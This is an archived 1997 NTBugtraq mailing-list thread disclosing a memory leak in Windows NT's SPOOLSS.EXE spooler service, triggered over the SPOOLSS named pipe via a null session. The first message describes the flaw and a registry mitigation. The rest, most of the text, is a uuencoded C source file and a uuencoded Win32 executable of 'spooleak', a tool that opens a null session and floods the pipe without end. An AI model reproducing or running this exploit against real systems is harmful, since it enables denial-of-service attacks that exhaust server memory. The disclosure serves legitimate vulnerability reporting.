SPOOLSS.EXE memory leak

Date: Thu, 21 Aug 1997 11:50:51 +0200
From: "Holas, Ondøej" <OHolas@EXCH.DIGI-TRADE.CZ>
To: NTBUGTRAQ@NTADVICE.COM
Subject: SPOOLSS.EXE memory leak

After connecting to \\server\PIPE\SPOOLSS you can send probably any
amount of data to that pipe. Final effect is a memory leak in
SPOOLSS.EXE. The worst thing is, by default this connection can be
initiated over null-session (setting RestrictAnonymous to 1 has no
effect). To disable attack over null-session, you must remove line
"SPOOLSS" from
HKLM\System\CCS\Services\LanmanServer\Parameters\NullSessionPipes
(REG_MULTI_SZ), but after that authenticated users can still fill up
server's memory.

If you want source of leaking program and binary, simply send mail to
oholas@exch.digi-trade.cz and put "SPOOLSS REQUEST" (without quotation
marks) as a message subject.

Ondrej Holas, MCSE, MCT
DIGI TRADE
Prague, Czech Republic

--
From: "Holas, Ondøej" <OHolas@exch.digi-trade.cz>
Subject: SPOOLSS.EXE leaking program

The binary is Win32 (Intel), tested on NT4.

  

begin 600 spooleak.c
M+RH@4U!/3TQ%04L@+2!386UP;&4@9&5S8W)I8FEN9R!M96UO<GD@;&5A:R!I
M;B!3<&]O;&5R(&9R;VT@5VEN9&]W<R!.5"`T+C`-"B`@("`@("`@("`@("`@
M869T97(@<V5N9&EN9R!T;V\@;6%N>2!D871A('1O(%-03T],4U,@3F%M960@
M4&EP90T*#0H@("!!=71H;W(@.B!/;F1R96H@2&]L87,L(&]H;VQA<T!E>&-H
M+F1I9VDM=')A9&4N8WH-"B`@($1A=&4@("`Z(#`X+S$S+S$Y.3<-"@T*("`@
M3F\@<F5C96YT(&UO9&EF:6-A=&EO;G,N#0HJ+PT*#0HC:6YC;'5D92`\=VEN
M9&]W<RYH/@T*(VEN8VQU9&4@/'-T9&EO+F@^#0HC:6YC;'5D92`\<W1R:6YG
M+F@^#0H-"B-D969I;F4@5$E-14]55"`@("`@-3`P,"`@("`@("`@+R\@-2!S
M96-O;F1S#0HC9&5F:6YE($)51E-)6D4@("`@(#@Q.3(-"@T*8VAA<B!B=69F
M97);0E5&4TE:15T[#0IC:&%R('!I<&5N86UE6S$P,C1=.PT*8VAA<B!I<&-N
M86UE6S$P,C1=.PT*#0II;G0@;6%I;BAI;G0@87)G8RQC:&%R("HJ87)G=BD-
M"GL-"B`@("!.151215-/55)#12!N<CL-"B`@("!(04Y$3$4@:%!I<&4[#0H@
M("`@:6YT(&D[#0H-"B`@("!I9BAA<F=C(3TS)B9A<F=C(3TR*0T*("`@('L-
M"FAE;'`Z#0H@("`@("`@('!R:6YT9B@B57-A9V4Z(%-03T],14%+(%LM;ET@
M7%Q<7&UA8VAI;F4M;F%M95QN7&XM;B!O<'1I;VX@=')I97,@=&\@97-T86)L
M:7-H(&$@;G5L;"!S97-S:6]N+EQN(BD[#0H@("`@("`@(')E='5R;B`P.PT*
M("`@('T-"@T*("`@(&EF*&%R9V,]/3,F)BAA<F=V6S%=6S!=(3TG+2=\?"AA
M<F=V6S%=6S%=(3TG;B<F)F%R9W9;,5U;,5TA/2=.)RDI*2!G;W1O(&AE;'`[
M#0H-"B`@("!I9BAA<F=C/3TS*0T*("`@('L-"B`@("`@("`@<W1R8W!Y*'!I
M<&5N86UE+&%R9W9;,ETI.PT*("`@("`@("!S=')C<'DH:7!C;F%M92QA<F=V
M6S)=*3L-"B`@("`@("`@<W1R8V%T*&EP8VYA;64L(EQ<:7!C)"(I.PT*#0H@
M("`@("`@('!R:6YT9B@B17-T86)L:7-H:6YG(&YU;&P@<V5S<VEO;B!T;R`E
M<RY<;B(L:7!C;F%M92D[#0H-"B`@("`@("`@;G(N9'=4>7!E("`@("`@/5)%
M4T]54D-%5%E015]!3ED[#0H@("`@("`@(&YR+FQP3&]C86Q.86UE(#U.54Q,
M.PT*("`@("`@("!N<BYL<%)E;6]T94YA;64]:7!C;F%M93L-"B`@("`@("`@
M;G(N;'!0<F]V:61E<B`@/4Y53$P[#0H-"B`@("`@("`@+R\@5')Y('1O(&5S
M=&%B;&ES:"!A(&YU;&P@<V5S<VEO;B!W:71H('1A<F=E="!S97)V97(-"B`@
M("`@("`@:68H5TYE=$%D9$-O;FYE8W1I;VXR*"9N<BPB(BPB(BPP*2$]3D]?
M15)23U(I#0H@("`@("`@('L-"B`@("`@("`@("`@('!R:6YT9B@B0V%N;F]T
M(&5S=&%B;&ES:"!N=6QL('-E<W-I;VXN7&XB*3L-"B`@("`@("`@("`@(')E
M='5R;B`P.PT*("`@("`@("!]#0H@("`@?0T*("`@(&5L<V4@<W1R8W!Y*'!I
M<&5N86UE+&%R9W9;,5TI.PT*#0H@("`@<W1R8V%T*'!I<&5N86UE+")<7'!I
M<&5<7'-P;V]L<W,B*3L-"@T*("`@('!R:6YT9B@B0V]N;F5C=&EN9R!T;R!P
M:7!E("5S7&XB+'!I<&5N86UE*3L-"@T*("`@("\O(%1R>2!T;R!E<W1A8FQI
M<V@@8V]N;F5C=&EO;B!T;R!<7'-E<G9E<EQ025!%7%-03T],4U,-"B`@("!W
M:&EL92@Q*0T*("`@('L-"B`@("`@("`@:%!I<&4]0W)E871E1FEL92AP:7!E
M;F%M92Q'14Y%4DE#7U=2251%+$9)3$5?4TA!4D5?4D5!1"Q.54Q,+$]014Y?
M15A)4U1)3D<L1DE,15]!5%1224)55$5?3D]234%,+$Y53$PI.PT*("`@("`@
M("!I9BAH4&EP93T]24Y604Q)1%](04Y$3$5?5D%,544I#0H@("`@("`@('L-
M"B`@("`@("`@("`@(&EF*$=E=$QA<W1%<G)O<B@I(3U%4E)/4E]025!%7T)5
M4UDI#0H@("`@("`@("`@("![#0H@("`@("`@("`@("`@("`@<')I;G1F*")#
M86YN;W0@;W!E;B!P:7!E+EQN(BD[#0H@("`@("`@("`@("`@("`@<F5T=7)N
M(#`[#0H@("`@("`@("`@("!]#0H@("`@("`@("`@("!I9B@A5V%I=$YA;65D
M4&EP92AP:7!E;F%M92Q424U%3U54*2D-"B`@("`@("`@("`@('L-"B`@("`@
M("`@("`@("`@("!P<FEN=&8H(E1I;65D(&]U="!W86ET:6YG(&9O<B!B=7-Y
M('!I<&4N7&XB*3L-"B`@("`@("`@("`@("`@("!R971U<FX@,#L-"B`@("`@
M("`@("`@('T-"B`@("`@("`@?0T*("`@("`@("!E;'-E(&)R96%K.PT*("`@
M('T-"@T*("`@("\O($9I;&P@:6X@8G5F9F5R('=I=&@@>F5R;V5S("AO<B!A
M;GET:&EN9R!E;'-E*0T*("`@(&9O<BAI/3`[:3Q"549325I%.VDK*RD@8G5F
M9F5R6VE=/3`[#0H-"B`@("!P<FEN=&8H(E!I<&4@8V]N;F5C=&5D+"!S=&%R
M=&EN9R!T;R!F;&]O9"!34$]/3%-3+BXN(%!R97-S($-T<FPK0R!T;R!S=&]P
M+EQN(BD[#0H-"B`@("`O+R!&3U)%5D52.B!#;VYT:6YU;W5S;'D@<V5N9"!B
M=69F97(@8V]N=&5N=',@=&\@<&EP90T*("`@('=H:6QE*#$I#0H@("`@>PT*
M("`@("`@("!7<FET949I;&4H:%!I<&4L8G5F9F5R+$)51E-)6D4L)FDL3E5,
M3"D[#0H@("`@("`@(&EF*&D]/3`I#0H@("`@("`@('L-"B`@("`@("`@("`@
M($-L;W-E2&%N9&QE*&A0:7!E*3L-"B`@("`@("`@("`@('!R:6YT9B@B0G)O
M:V5N+BXN7&XB*3L-"B`@("`@("`@("`@(')E='5R;B`P.PT*("`@("`@("!]
M#0H@("`@?0T*#0H@("`@+R\@3F5V97(@9V5T(&AE<F4-"B`@("!R971U<FX@
',#L-"GT-"@==
`
end

begin 600 spooleak.exe
M35J0``,````$````__\``+@`````````0```````````````````````````
M````````````````````@`````X?N@X`M`G-(;@!3,TA5&AI<R!P<F]G<F%M
M(&-A;FYO="!B92!R=6X@:6X@1$]3(&UO9&4N#0T*)`````````!010``3`$%
M`&(3\C,``````````.``"@$+`04``!@```!"````````$!,````0````,```
M``!````0`````@``!``````````$``````````"@````!`````````,`````
M`!```!``````$```$````````!````````````````"```!0````````````
M`````````````````````````)```,0`````,```.```````````````````
M``````````````````````````````````````!$@0``]```````````````
M`````````````````````"YT97AT`````A8````0````&`````0`````````
M`````````"```&`N<F1A=&$``'@!````,`````(````<````````````````
M``!```!`+F1A=&$````@-P```$`````(````'@``````````````````0```
MP"YI9&%T80``U00```"`````!@```"8``````````````````$```,`N<F5L
M;V,``(@!````D`````(````L``````````````````!```!"````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M`````````````````````````````````````````````.D+````S,S,S,S,
MS,S,S,Q5B^R#["B#?0@#=!N#?0@"=!5H$$1``/\5O(%``(/$!#/`Z0X"``"#
M?0@#=2Z+10R+2`0/OA&#^BUU'HM%#(M(!`^^40&#^FYT$8M%#(M(!`^^40&#
M^DYT`NNW@WT(`P^%F0```(M%#(M("%%HX$9``.A\`@``@\0(BU4,BT((4&@`
M4T``Z&@"``"#Q`AH9$1``&@`4T``Z%`"``"#Q`AH`%-``&AL1$``_Q6\@4``
M@\0(QT7D`````,=%\`````#'1?0`4T``QT7\`````&H`:+1&0`!HN$9``(U-
MX%'H`P(``(7`=!5HD$1``/\5O(%``(/$!#/`Z3D!``#K%(M5#(M"!%!HX$9`
M`.CC`0``@\0(:+!$0`!HX$9``.C+`0``@\0(:.!&0`!HP$1``/\5O(%``(/$
M"+D!````A<ET=VH`:(````!J`VH`:@%H````0&C@1D``_Q50@4``B47<@WW<
M_W5-_Q5,@4``/><```!T%6C81$``_Q6\@4``@\0$,\#IK0```&B($P``:.!&
M0`#_%4B!0`"%P'45:.Q$0`#_%;R!0`"#Q`0SP.F$````ZP+K`NN`QT78````
M`.L)BU78@\(!B578@7W8`"```'T,BT78QH``5T```.OB:!!%0`#_%;R!0`"#
MQ`2Y`0```(7)=#YJ`(U5V%)H`"```&@`5T``BT7<4/\51(%``(-]V`!U'(M-
MW%'_%52!0`!H5$5``/\5O(%``(/$!#/`ZP3KN3/`B^5=P\S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,_R54
M@4``_R5$@4``_R5(@4``_R5,@4``_R50@4``_R6(@4``_R7(@4``_R6X@4``
M_R6\@4``S,Q5B^QJ_VA8,$``:%`50`!DH0````!09(DE`````(/$X%-65XEE
MZ,=%_`````!J`?\5[(%``(/$!,<%`'=``/____^A`'=``*,0=T``_Q7H@4``
MBPW(1D``B0C_%>2!0`"+%<1&0`")$*'@@4``BPB)#11W0`#H1@$``(,]I$5`
M``!U#FC`%$``_Q7<@4``@\0$Z/H```!H#$-``&@(0D``Z-<```"#Q`B+%<!&
M0`")5=B-1=A0BPV\1D``48U5X%*-1=10C4WD4?\5U(%``(/$%&@$04``:`!`
M0`#HG````(/$"/\5T(%``(M5X(D0BT7@4(M-U%&+5>12Z/'[__^#Q`R)1=R+
M1=Q0_Q7,@4``@\0$QT7\_____^LRBTWLBQ&+`HE%T(M-[%&+5=!2Z#(```"#
MQ`C#BV7HBT704/\5P(%``(/$!,=%_/____^+3?!DB0T`````7UY;B^5=P_\E
MP(%``/\EQ(%``/\ES(%``/\ET(%``/\EU(%``/\EV(%``,S,S,S,S,S,S,S,
MS,S,58OL:````P!H```!`.BD````@\0(7</,_R7<@4``S,Q5B^PSP%W#S,S,
MS,S,S,S,58OL7</,_R7D@4``_R7H@4``S,S,S,S,S,S,S,S,S,Q5B^Q1@ST0
M=T``_W42BT4(4/\5_(%``(/$!(E%_.L9:`!W0`!H$'=``(M-"%'H.@```(/$
M#(E%_(M%_(OE7</,58OLBT4(4.BT____@\0$]]@;P/?82%W#_R7L@4``S,S_
M)?"!0`#_)?2!0`#_)?B!0`#,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,
MS,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S,S```
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M``````````````````````!B$_(S``````0````0`0`````````N````````
M8A/R,P`````"````/@`````````0+P``````````````````````````````
M``````````````#_____*Q1``$840```````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M``````````````````````````````````````````````!5<V%G93H@4U!/
M3TQ%04L@6RUN72!<7&UA8VAI;F4M;F%M90H*+6X@;W!T:6]N('1R:65S('1O
M(&5S=&%B;&ES:"!A(&YU;&P@<V5S<VEO;BX*``!<:7!C)````$5S=&%B;&ES
M:&EN9R!N=6QL('-E<W-I;VX@=&\@)7,N"@```$-A;FYO="!E<W1A8FQI<V@@
M;G5L;"!S97-S:6]N+@H`7'!I<&5<<W!O;VQS<P```$-O;FYE8W1I;F<@=&\@
M<&EP92`E<PH``$-A;FYO="!O<&5N('!I<&4N"@``5&EM960@;W5T('=A:71I
M;F<@9F]R(&)U<WD@<&EP92X*````4&EP92!C;VYN96-T960L('-T87)T:6YG
M('1O(&9L;V]D(%-03T],4U,N+BX@4')E<W,@0W1R;"M#('1O('-T;W`N"@!"
M<F]K96XN+BX*````````````````````````````````````````````````
M``````````````````````````````````````````````$`````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M``````````!0@`````````````""@@``1($``)2``````````````*:"``"(
M@0``Q(``````````````S((``+B!`````````````````````````````$:"
M``!2@@``9((``'2"```X@@``````````````````````````````````````
M````````````````````````````D((`````````````````````````````
M````````````````````````````````N((``,*"``#8@@``X((``*Z"``#N
M@@``]H(```:#```6@P``(H,``#:#``!&@P``5H,``&2#``!V@P``BH,``)B#
M``"F@P``````````````````````````````````````````````````````
M``````````````````````!&@@``4H(``&2"``!T@@``.((`````````````
M`````````````````````````````````````````````````````)""````
M`````````````````````````````````````````````````````````+B"
M``#"@@``V((``.""``"N@@``[H(``/:"```&@P``%H,``"*#```V@P``1H,`
M`%:#``!D@P``=H,``(J#``"8@P``IH,`````````````````````````````
M````````````````````````````````````````````````&`!#;&]S94AA
M;F1L90![`E=R:71E1FEL90!L`E=A:71.86UE9%!I<&5!``#T`$=E=$QA<W1%
M<G)O<@``,0!#<F5A=&5&:6QE00!+15).14PS,BYD;&P```4`5TYE=$%D9$-O
M;FYE8W1I;VXR00!-4%(N9&QL`-("<W1R8V%T``#6`G-T<F-P>0``N@)P<FEN
M=&8``$U35D-25$0N9&QL`.L`7V5X:70`70!?6&-P=$9I;'1E<@!E`F5X:70`
M`'@`7U]P7U]?:6YI=&5N=@!M`%]?9V5T;6%I;F%R9W,`*0%?:6YI='1E<FT`
MF0!?7W-E='5S97)M871H97)R``"R`%]A9&IU<W1?9F1I=@``?@!?7W!?7V-O
M;6UO9&4``(8`7U]P7U]F;6]D90``EP!?7W-E=%]A<'!?='EP90``X@!?97AC
M97!T7VAA;F1L97(S``#,`%]C;VYT<F]L9G```&H`7U]D;&QO;F5X:70`H0%?
M;VYE>&ET````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````$```N````",P*3!],)$PGC"C,+`PM3"[,-,PX3#F
M,/@P_C`6,2,Q*#$U,3HQ0#%C,6DQ>#&$,8HQGC&D,:TQLS'G,>\Q]3$1,ALR
M*S(P,C8RVC+@,N8R[#+R,O@R_C($,PHS%C,;,T$S2C-3,U@S7C-D,VPS<C-Y
M,X$SC#.4,YHSIS.L,[HSQS/:,^(SYS/U,QLT3S1P-'8T?#2"-(@TCC2Z--@T
MWC3V-`,U$#45-4HU4C58-5XU`#````P```!<,&`P````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M``````````````````````````````````````````$````0`0```````$1E
M8G5G+W-P;V]L96%K+F5X90``````````````````````````````````````
